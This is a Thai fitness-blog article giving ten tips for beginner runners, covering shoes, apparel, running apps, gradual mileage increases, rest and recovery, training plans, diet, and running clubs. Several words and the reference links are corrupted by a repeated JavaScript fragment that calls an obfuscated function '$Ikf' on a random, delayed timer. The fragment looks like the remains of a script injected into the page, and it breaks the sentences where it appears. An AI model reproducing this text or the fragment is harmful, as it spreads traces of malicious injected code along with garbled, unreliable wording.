• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Feature

3 เดือนก่อนสิ้นปี…วิ่งเพื่อเปลี่ยนตัวเอง

stepextra by stepextra
28 September 2015
in Feature, Running Tips, Tips & Technics
0
3 เดือนก่อนสิ้นปี…วิ่งเพื่อเปลี่ยนตัวเอง
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

เวลาเดินไปเร็วเหลือเกิน แป๊ปๆ อีก 3 เดือนก็จะสิ้นปีแล้ว ใครที่ตั้งเป้าเปลี่ยนแปลงตัว เพื่อสุขภาพและรักษาทรวดทรงให้ฟิตเปรียะ แต่ยังไม่ได้ลงมือทำที…แนะนำว่าได้เวลาแล้วนะครับ

เชื่อหรือไม่ว่าภายใน 3 เดือนนี้เราสามารถวิ่งจาก 1-3 กิโลเมตรอัพขึ้นไปเป็น 21 กิโลเมตรได้เลยนะถ้าฝึกฝนอย่างสม่ำเสมอ ทั้งนี้ต้องขึ้นอยู่กับความตั้งใจ วิธีการกิน แผนโปรแกรมการฝึกและการพักผ่อน

สังเกตว่าจะไม่พูดถึงบุคคลรอบข้างเลยนะครับ การวิ่งต้องเริ่มจากตัวเรา เสียงจากคนรอบข้างส่วนมากจะค่อยฉุดรั้งตัวเราให้อยู่ใน comfort zone มากเเละนานขึ้น

อีกไม่กี่วันก็จะขึ้นเดือนตุลาคม วันที่ 1 ถึงว่าเป็นวันที่ดีในการเริ่มการฝึก”วิ่ง” เพื่อเปลี่ยนชีวิตคุณ…และทาง StepExtra ก็มีทิปแนะนำสำหรับมือใหม่ที่จะเริ่มออกฝึก”วิ่ง”มาฝาก

1. ลงทุนซื้อรองเท้าวิ่งดีๆ สักคู่

เชื่อหรือไม่ครับว่ากีฬาวิ่งเป็นกีฬาที่ง่ายที่สุด แค่มีรองเท้าวิ่ง 1 คู่เสื้อวิ่ง 1 ชุดก็ออกลุยได้ แต่การเลือกรองเท้าให้ถูกใจ ถูกเท้า วิ่งสบายตีน นั้นเหมือนการเลือกคู่แต่งงานเลยครับ การเลือกรองเท้าอย่าเลือกที่สีสันเพียงอย่างเดียว เราต้องดูรูปเท้า เท้าเรียวหรือหน้าเท้ากว้าง เพราะจะมีผลในการเลือกรุ่นและยี่ห้อรองเท้า ต่อมาก็มาดูที่พื้นรองรับแรงกระแทก จะแบบบางเบาเพื่อ feeling ในการวิ่งที่ดี ทำความเร็วได้ง่าย หรือจะเอาแบบที่มีโฟมเยอะสำหรับคนน้ำหนักมาก แต่รองเท้าจะหนักขึ้นมาหน่อย

สำหรับมือใหม่หัดวิ่ง คำแนะนำง่ายๆ ที่สุดคือเลือกรองเท้าแล้วรู้สึกสบายเท้าที่สุด น้ำหนักรู้สึกพอดีกับตัวเอง ในกรณีที่เท้าแบน โค้งเว้ามาก หรือมีการบิดเท้าเข้าออกหรือที่เรียกว่า pronation ต้องสอบถามพนักงานขายเป็นรายคนไป เพราะเขาจะมีรุ่นรองเท้าที่ออกแบบมาเฉพาะเหล่าคนวิ่งแบบมี pronation ให้อยู่ครับ

2. เลือกชุดวิ่ง

เสื้อผ้ากีฬาจะถูกออกแบบมาต่างจากเสื้อยืดธรรมดา ยิ่งเฉพาะเสื้อวิ่งนั้นจะต้องมีน้ำหนักเบา ไม่อมน้ำรีดน้ำออกได้เร็ว และระบายอากาศได้ดี เราไม่ควรจะใส่เสื้อยืดคอกล้ามที่ทำจาก cotton ทั่วไปวิ่ง เพราะเมื่อเริ่มมีเหงื่อออกจะเริ่มอมน้ำ ระบายอากาศไม่ดี ไม่สบายตัวอย่างยิ่งเวลาวิ่ง

การลงทุนซื้อเสื้อกางเกงวิ่งดีๆ ไปเลยจะทำให้เราวิ่งได้คล่องตัวมากขึ้น ที่สำคัญอยู่มีอายุใช้งานที่นานกว่า ใส่ซ่อมวิ่ง ใส่ลงวิ่งงานแข่งก็ดูดี

3. ทดลองใช้ App วิ่ง

เชื่อหรือไม่ว่าแอพวิ่งทั้ง Runtastic, Strava, Endomondo, Zombies run และ RockMyrun สามารถเป็นโค้ชฝึกซ่อมส่วนตัวในการวิ่งได้ดีเลยละ เพราะการเปิดใช้แอพวิ่งทุกครั้งจะทำให้คุณมีเป้าหมายในการวิ่งมากขึ้น แถมยังช่วยเก็บสถิติการวิ่งของคุณให้เป็นข้อมูลที่จับต้องได้

เคยมีการทดลองใช้ผ้าปิดตาแล้วปล่อยให้เราเดินดูเอง หรือการปล่อยให้เดินเข้าป่าใหญ่ ไม่ก็ทะเลทรายธรรมดา ผลปรากฏว่าเราจะเดินเป็นรูปวงกลม

ดังนั้นการฝึกวิ่งจึงจำเป็นต้องมีจุดอ้างอิง หรือเป้าหมายให้เราเดินได้ตรง ไปสู่เป้าหมายที่ต้องการ อย่างเช่น วิ่งมินิ ฮาล์ฟและฟูลมาราธอน ถ้าไม่เชื่อลองออกไปวิ่งที่สวนสาธารณธวันนี้ดูครับ ในตอนเริ่มวิ่งแรกๆ มือใหม่มักจะวิ่งเร็วและมีความรู้สึกอยากจบให้เร็วที่สุด แต่การมีอุปกรณ์ ป้ายบอกระยะ นาฬิกาหรือแม้แต่แอพวิ่งจะช่วยให้เราวิ่งได้นานขึ้น ได้ระยะมากขึ้น และควบคุมพลังที่ใช้ในการวิ่งได้ดียิ่งขึ้น

ในการวิ่งกับแอพในครั้งแรกๆ คุณอาจจะต้องใช้ หูฟัง มือถือใส่กระเป๋า หรือไม่ก็ซื้อเจ้า Armbandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and มาใส่มือถือไว้ที่แขน

4. ระยะทางสำคัญกว่าเวลา

การเซตระยะทางวิ่งดูเหมือนจะเนเรื่องยากแต่จริงๆ แล้วการตั้งระยะทางให้ไกลไว้ก่อนจะช่วยยืดเวลาออกกำลังกายให้นานขึ้นไปในตัว เราไม่จำเป็นต้องเร่งรีบวิ่งทำความเร็วให้เหมือนกับนักวิ่งในงานแข่ง จำไว้ว่าการฝึกวิ่งเริ่มต้นนั้นคือการฝึกให้ร่างกายสามารถทนทานต่อระยะทางที่เพิ่มขึ้น เมื่อสามารถวิ่งได้อย่างต่อเนื่องตามระยะทางที่ตั้งไว้ เราค่อยมาฝึกในเรื่องการใช้ความเร็วอีกที่ Keep claim andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and run ครับ ค่อยๆ พัฒนาตัวเองไปเรื่อยๆ การเร่งจะทำให้ร่างกายบาดเจ็บเสียเปล่า

5. การพักผ่อนสำคัญเท่ากับการฝึก

การฝึกที่ดีต้องฝึกเป็นแบบขั้นบันได ช่วงเวลาฝึกวิ่งนั้นระบบร่างกาย หัวใจ กล้ามเนื้อ ปอดต้องแบกรับภาระการใช้งานที่หนักกว่าระดับธรรมดาที่เคยฝึกมา ร่างกายจะเริ่มสะสมความเมื่อยล้า (Fatigue) เมื่อเราทำการพักผ่อน (recovery) อย่างเพียงพอ ให้ร่างกายได้ปรับตัวใหม่ และเราค่อยกลับมาฝึกใหม่อีกครั้งให้มากและหนักกว่าเดิม performance จะสูงขึ้น แต่ในกรณีที่พักผ่อนไม่เพียงพอ ยังมีความเมื่อยล้าสะสมอยู่ แล้วกลับมาฝึกใหม่ร่างกายจะ performance ได้แย่ลง

gas_optimal
การฝึกที่ดีควรเป็นขั้นบันได มีการพัก ร่างกายปรับตัว เเละฝึกหนักกว่าเดิม เพื่อเพิ่ม performance
gas_too-muchlittle-rest
การโหมฝึกจะทำให้ performance เราลดลง

6. ค่อยๆ สะสมไมล์

หลังจากเรารู้แล้วว่าต้องฝึกเป็นขั้นบันได ก็มีกฏการฝึกซ่อมที่แนะนำ นั้นคือในการเพิ่มระยะทางไม่ควรเกิน 10% และเพิ่มขึ้นที่ละสัปดาห์นะครับ ถ้าสัปดาห์แรกวิ่งได้ 3 กิโลเมตร สัปดาห์ต่อไปก็ควรเพิ่มระยะเป็น 3.3 กิโลเมตร หากต้องการเพิ่มระยะมากกว่านี้ ต้องสำรวจร่างกายตัวเองว่าเรารับได้หรือไม่ ขึ้นอยู่กับความฟิตของแต่ละคนด้วย

via GIPHY

7. ช่วงเวลาฝึกหนัก

ช่วงเวลาฝึกหนักโดยเฉพาะการฝึกทำ Interval หรือฝึกทำ LSD (long slow distance) แนะนำให้ทำในช่วงวันหยุดหรือหลังเลิกงาน เพราะจะได้มีเวลาในการ recovery ได้เต็มที่ จินตนาการดูว่าถ้าฝึกหนักช่วงเช้าและต้องรีบกินข้าว อาบน้ำแล้วมาทำงานต่อ ร่างกายจะเมื่อยล้าสะสมเข้าไปอีก

8. ตารางฝึก

การมีตารางฝึกวิ่งจะทำให้เราพัฒนาที่เป็นระบบ ลบระบบที่เรียกว่า guess work ออกไป รู้ว่าวันนี้ต้องวิ่งระยะเท่าไหร เวลาไหนและพักเท่าไหร มีเป้าหมายชัดเจน ถ้าให้ดีเขียนตารางแปะไว้บนโต้ะทำงานเลย แต่ปัจจุบันนี้แอพวิ่งต่างๆ ก็มีคอร์สสอนวิ่งให้เหมือนกัน มีระบบเตือนเราอัติโนมัติด้วย กำหนดวันเวลาวิ่งให้เรียบร้อย แถมยังดูไปถึงความเร็ว heart rate และ pace ว่าต้องวิ่งเท่าไหรด้วย สะดวกไม่น้อยแต่ต้องอาจมีการจ่ายตังค์เพิ่มนะครับ ดูดีๆ

9. ห้ามอด

การอดอาหารเป็นเรื่องต้องห้ามเลยครับ ยิ่งอดยิ่งแย่ แต่ให้ใช้วิธีควบคุมการกิน เลือกของดีที่มีประโยชน์ เลือกอาหารที่มีคุณภาพมากกว่าอาหารประเภท low calories ถ้าสามารถทำอาหารเองได้ยิ่งดี เพราะเราควบคุมสัดสวนวัตถุดิบที่ใส่ลงไปได้

แป้งเป็นแหล่งพลังงาน เวลาวิ่งถ้าร่างกายไม่มีแป้ง จะเอาพลังงานที่ไหนมาใช้ เมื่อไม่มีร่างกายเราก็จะย่อยกล้ามเนื้อมาเป็นพลังงานแทน ดังนั้นห้ามงดแป้งเด็ดขาด ต่อมาก็พวกโปรตีนใช้ในการซ่อมแซมกล้ามเนื้อ ผักและผลไม้ก็มีวิตามินช่วยในเรื่องระบบประสาท

10. เข้ากลุ่มวิ่ง

เชื่อว่าในที่ทำงานของคุณ ย่อมมีนักวิ่งแฝงตัวอยู่ พวกเขายินดีสอนฝึกคุณวิ่งอยู่แล้ว แค่ออกปากถามก็จบครับ การไปขอรวมฝึกกับเขา คุณจะได้ความรู้เทคนิคที่จะช่วยให้วิ่งได้อย่างมีประสิทธิภาพ ลดความเสี่ยงที่จะเกิดอาการบาดเจ็บได้ด้วย

ถ้าชอบการเข้าสังคมอยู่ด้วยแล้ว ลองค้นหากลุ่มชมรมนักวิ่งตาม Facebook ดูได้ครับ มีเยอะมาก ทั้งนักวิ่งระดับอาจารย์ มือเก๋ามือใหม่ เป็นแหล่งสร้างแรงใจได้อย่างดีเลย

 

อ้างอิง

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-reminders-for-veteran-runners_47067″>womensrunning.competitor.com

www.npr.org

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andperformance.com/planned-recovery/”>www.athletestrengthandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andperformance.com

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.